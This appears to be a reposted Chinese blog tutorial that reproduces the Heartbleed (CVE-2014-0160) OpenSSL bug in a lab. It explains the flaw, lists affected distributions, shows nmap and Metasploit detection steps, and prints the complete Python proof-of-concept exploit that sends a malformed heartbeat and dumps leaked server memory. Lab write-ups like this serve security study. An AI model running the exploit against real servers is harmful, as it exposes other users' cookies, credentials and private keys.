当前位置:   article > 正文

openssl(CVE-2014-0160)心脏出血漏洞复现_cve-2014-0160漏洞修复

cve-2014-0160漏洞修复

目录

#漏洞简介

#漏洞原理

#漏洞检测

#漏洞利用


#漏洞简介

心脏出血是openssl库中的一个内存漏洞,攻击者利用这个漏洞可以服务到目标进程内存信息,如其他人的cookie等敏感信息。

Heartbleed Bug 是流行的 OpenSSL 加密软件库中的一个严重漏洞。 此弱点允许在正常情况下窃取受用于保护 Internet 的 SSL/TLS 加密保护的信息。 SSL/TLS 为 Web、电子邮件、即时消息 (IM) 和一些虚拟专用网络 (VPN) 等应用程序提供 Internet 上的通信安全和隐私。

Heartbleed 漏洞允许 Internet 上的任何人读取受 OpenSSL 软件易受攻击版本保护的系统内存。 这损害了用于识别服务提供商和加密流量、用户名和密码以及实际内容的密钥。 这允许攻击者窃听通信,直接从服务和用户窃取数据,并冒充服务和用户。

#漏洞原理

心脏出血漏洞主要通过攻击这模拟向服务器端发送自己编写的heartbeat心跳数据包,主要是heartbeatmessage的长度与payload的length进行匹配,若payload长度大于heartbeatmessage的length,则会在服务器返回的response响应包中产生数据溢出,造成有数据泄露。

#一些带有潜在易受攻击的 OpenSSL 版本的操作系统发行版:

  • Debian Wheezy(稳定),OpenSSL 1.0.1e-2+deb7u4
  • Ubuntu 12.04.4 LTS,OpenSSL 1.0.1-4ubuntu5.11
  • CentOS 6.5、OpenSSL 1.0.1e-15
  • Fedora 18,OpenSSL 1.0.1e-4
  • OpenBSD 5.3(OpenSSL 1.0.1c 2012 年 5 月 10 日)和 5.4(OpenSSL 1.0.1c 2012 年 5 月 10 日)
  • FreeBSD 10.0 - OpenSSL 1.0.1e 2013 年 2 月 11 日
  • NetBSD 5.0.2 (OpenSSL 1.0.1e)
  • OpenSUSE 12.2 (OpenSSL 1.0.1c)

具有不易受攻击版本的操作系统分发:

  • Debian Squeeze (oldstable),OpenSSL 0.9.8o-4squeeze14
  • SUSE Linux 企业服务器
  • FreeBSD 8.4 - OpenSSL 0.9.8y 2013 年 2 月 5 日
  • FreeBSD 9.2 - OpenSSL 0.9.8y 2013 年 2 月 5 日
  • FreeBSD 10.0p1 - OpenSSL 1.0.1g (At 8 Apr 18:27:46 2014 UTC)
  • FreeBSD Ports - OpenSSL 1.0.1g (At 7 Apr 21:46:40 2014 UTC)

#漏洞检测

环境启动之后

打开浏览器进行访问

如果检测一下是否为heartbleed漏洞可以通过通过nmap命令使用script ssl-heartbleed.nse板块进行扫描

nmap -sV -p 8443 -script ssl-heartbleed.nse 192.168.217.134

#漏洞利用

可以通过msf实现对该漏洞的利用。通过search openssl查看相关漏洞模块

使用该辅助模块,然后通过options设置好相关参数,设置完之后就运行

也可以通过环境自带的exp进行利用

使用python命令实现对其的利用

python ssltest.py 192.168.217.134

 exp里的默认端口是443,我这里需要进行修改,不然就会显示拒绝连接

修改为8443之后就成功了

 完整exp

  1. #!/usr/bin/python
  2. # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
  3. # The author disclaims copyright to this source code.
  4. import sys
  5. import struct
  6. import socket
  7. import time
  8. import select
  9. import binascii
  10. import re
  11. from optparse import OptionParser
  12. options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
  13. options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
  14. def h2bin(x):
  15. return binascii.unhexlify(x.replace(' ', '').replace('\n', ''))
  16. hello = h2bin('''
  17. 16 03 02 00 dc 01 00 00 d8 03 02 53
  18. 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
  19. bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
  20. 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
  21. 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
  22. c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
  23. c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
  24. c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
  25. c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
  26. 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
  27. 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
  28. 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
  29. 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
  30. 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
  31. 00 0f 00 01 01
  32. ''')
  33. hb = h2bin('''
  34. 18 03 02 00 03
  35. 01 40 00
  36. ''')
  37. def hexdump(s: bytes):
  38. for b in range(0, len(s), 16):
  39. lin = [c for c in s[b : b + 16]]
  40. hxdat = ' '.join('%02X' % c for c in lin)
  41. pdat = ''.join((chr(c) if 32 <= c <= 126 else '.' )for c in lin)
  42. print(' %04x: %-48s %s' % (b, hxdat, pdat))
  43. print("")
  44. def recvall(s, length, timeout=5):
  45. endtime = time.time() + timeout
  46. rdata = b''
  47. remain = length
  48. while remain > 0:
  49. rtime = endtime - time.time()
  50. if rtime < 0:
  51. return None
  52. r, w, e = select.select([s], [], [], 5)
  53. if s in r:
  54. data = s.recv(remain)
  55. # EOF?
  56. if not data:
  57. return None
  58. rdata += data
  59. remain -= len(data)
  60. return rdata
  61. def recvmsg(s):
  62. hdr = recvall(s, 5)
  63. if hdr is None:
  64. print('Unexpected EOF receiving record header - server closed connection')
  65. return None, None, None
  66. typ, ver, ln = struct.unpack('>BHH', hdr)
  67. pay = recvall(s, ln, 10)
  68. if pay is None:
  69. print('Unexpected EOF receiving record payload - server closed connection')
  70. return None, None, None
  71. print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))
  72. return typ, ver, pay
  73. def hit_hb(s):
  74. s.send(hb)
  75. while True:
  76. typ, ver, pay = recvmsg(s)
  77. if typ is None:
  78. print('No heartbeat response received, server likely not vulnerable')
  79. return False
  80. if typ == 24:
  81. print('Received heartbeat response:')
  82. hexdump(pay)
  83. if len(pay) > 3:
  84. print('WARNING: server returned more data than it should - server is vulnerable!')
  85. else:
  86. print('Server processed malformed heartbeat, but did not return any extra data.')
  87. return True
  88. if typ == 21:
  89. print('Received alert:')
  90. hexdump(pay)
  91. print('Server returned error, likely not vulnerable')
  92. return False
  93. def main():
  94. opts, args = options.parse_args()
  95. if len(args) < 1:
  96. options.print_help()
  97. return
  98. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  99. print('Connecting...')
  100. sys.stdout.flush()
  101. s.connect((args[0], opts.port))
  102. print('Sending Client Hello...')
  103. sys.stdout.flush()
  104. s.send(hello)
  105. print('Waiting for Server Hello...')
  106. sys.stdout.flush()
  107. while True:
  108. typ, ver, pay = recvmsg(s)
  109. if typ == None:
  110. print('Server closed connection without sending Server Hello.')
  111. return
  112. # Look for server hello done message.
  113. if typ == 22 and pay[0] == 0x0E:
  114. break
  115. print('Sending heartbeat request...')
  116. sys.stdout.flush()
  117. s.send(hb)
  118. hit_hb(s)
  119. if __name__ == '__main__':
  120. main()

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/盐析白兔/article/detail/741434
推荐阅读
相关标签
  

闽ICP备14008679号